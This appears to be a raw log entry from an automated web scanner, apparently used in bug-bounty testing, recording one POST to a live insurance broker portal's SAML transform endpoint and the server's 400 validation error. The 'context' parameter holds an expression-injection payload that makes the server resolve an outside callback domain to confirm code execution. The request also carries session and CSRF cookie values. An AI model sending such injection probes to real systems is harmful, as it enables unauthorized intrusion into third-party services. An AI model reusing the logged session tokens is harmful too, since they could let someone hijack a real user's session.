# 01a1cb12-bc63-7421-9e16-518041fc1255  2026-11-11 14:46:03  curl_cffi.requests/hunter-2  status=400  2045ms
POST https://maklerportal.baloise.de/auth/rest/public/baloise/saml2/transform
--- request (13054 B application/x-www-form-urlencoded)
POST /auth/rest/public/baloise/saml2/transform HTTP/1.1
Host: maklerportal.baloise.de
Cookie: CSRFT759-S=exHSjdB5vdZ8lGsfNYKmNQ; AL_SESS-S=AeZhHyw7DAV4m8GPvQU8c1HltOCe0i0GtethWlcr4_Pmv3hnprzlXWwTNmOYmY5PRRxW
sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Accept: application/json, application/vnd.api+json
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
X-Bug-Bounty: BBS:dwbzn
Content-Type: application/x-www-form-urlencoded
X-Same-Domain: 1
X-CSRFT759: exHSjdB5vdZ8lGsfNYKmNQ
Content-Length: 12180

context=T%28java.net.InetAddress%29.getByName%28%27spctx1--3ch.9b.au%27%29&SAMLResponse=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz4KPHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIHhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIHhtbG5zOmRzPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjIiBJRD0iX3ItMTcxYWRhNDUwOWI4NDY4ZjlkMGI4MjIzZGQ1OTA1ZmUiIFZlcnNpb249IjIuMCIgSXNzdWVJbnN0YW50PSIyMDI2LTExLTEwVDE1OjI3OjEyWiIgRGVzdGluYXRpb249Imh0dHBzOi8vbWFrbGVycG9ydGFsLmJhbG9pc2UuZGUvYXV0aC9yZXN0L3B1YmxpYy9iYWxvaXNlL3NhbWwyL3RyYW5zZm9ybSI%2BPHNhbWw6SXNzdWVyPmh0dHBzOi8vcG9ydGFsLmVhc3ktbG9naW4uZGUvYXV0aC1wb3J0YWw8L3NhbWw6SXNzdWVyPjxzYW1scDpTdGF0dXM%2BPHNhbWxwOlN0YXR1c0NvZGUgVmFsdWU9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpzdGF0dXM6U3VjY2VzcyIvPjwvc2FtbHA6U3RhdHVzPjxzYW1sOkFzc2VydGlvbiBJRD0iX2EtZmEzMWJkZTQ4OWJiNGIxYzg5MDEyZWZlMjRhYTg3NGMiIFZlcnNpb249IjIuMCIgSXNzdWVJbnN0YW50PSIyMDI2LTExLTEwVDE1OjI3OjEyWiI%2BPHNhbWw6SXNzdWVyPmh0dHBzOi8vcG9ydGFsLmVhc3ktbG9naW4uZGUvYXV0aC1wb3J0YWw8L3NhbWw6SXNzdWVyPjxkczpTaWduYXR1cmU%2BPGRzOlNpZ25lZEluZm8%2BPGRzOkNhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiLz48ZHM6U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIvPjxkczpSZWZlcmVuY2UgVVJJPSIjX2EtZmEzMWJkZTQ4OWJiNGIxYzg5MDEyZWZlMjRhYTg3NGMiPjxkczpUcmFuc2Zvcm1zPjxkczpUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjZW52ZWxvcGVkLXNpZ25hdHVyZSIvPjxkczpUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiLz48L2RzOlRyYW5zZm9ybXM%2BPGRzOkRpZ2VzdE1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZW5jI3NoYTI1NiIvPjxkczpEaWdlc3RWYWx1ZT4wSWx0cmN4TjhHWkNNK1dHOHBTS1dCUDVrZmxuWitpQzVQZ2NubGY1ZHhFPTwvZHM6RGlnZXN0VmFsdWU%2BPC9kczpSZWZlcmVuY2U%2BPC9kczpTaWduZWRJbmZvPjxkczpTaWduYXR1cmVWYWx1ZT5wbHFURWpmQmt3MFpRbkdtWURNZVhtUUNXMDJoM2QreE43ckh0SDNXNUlQRklscFZSQjhMdDN5Tnp0K1VVWmtUVmRSVjF3MzRHYmxE
…[+10180 body chars; --range 2874: or --grep TEXT]
--- response (1003 B application/vnd.api+json)
HTTP/1.1 400 Bad Request
Date: Wed, 11 Nov 2026 14:46:03 GMT
Server: Apache
Content-Length: 254
Expires: 0
Last-Modified: Wed, 11 Nov 2026 14:46:03 GMT
Cache-Control: no-store, no-cache, must-revalidate
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Permissions-Policy: accelerometer=(self), ambient-light-sensor=(self), autoplay=(self), camera=(self), display-capture=(self), document-domain=(self), encrypted-media=(self), fullscreen=(self), geolocation=(self), gyroscope=(self), magnetometer=(self), microphone=(self), midi=(self), payment=(self), usb=(self), xr-spatial-tracking=(self)
Connection: close
Content-Type: application/vnd.api+json

{"meta":{"type":"jsonapi.metadata.document","timestamp":"2026-11-11T15:46:03.146+01:00"},"errors":[{"code":"VALIDATION_FAILED","source":{"pointer":"/"},"meta":{"type":"jsonapi.metadata.validation.error","detail":"SIZE","parameters":{"min":0,"max":30}}}]}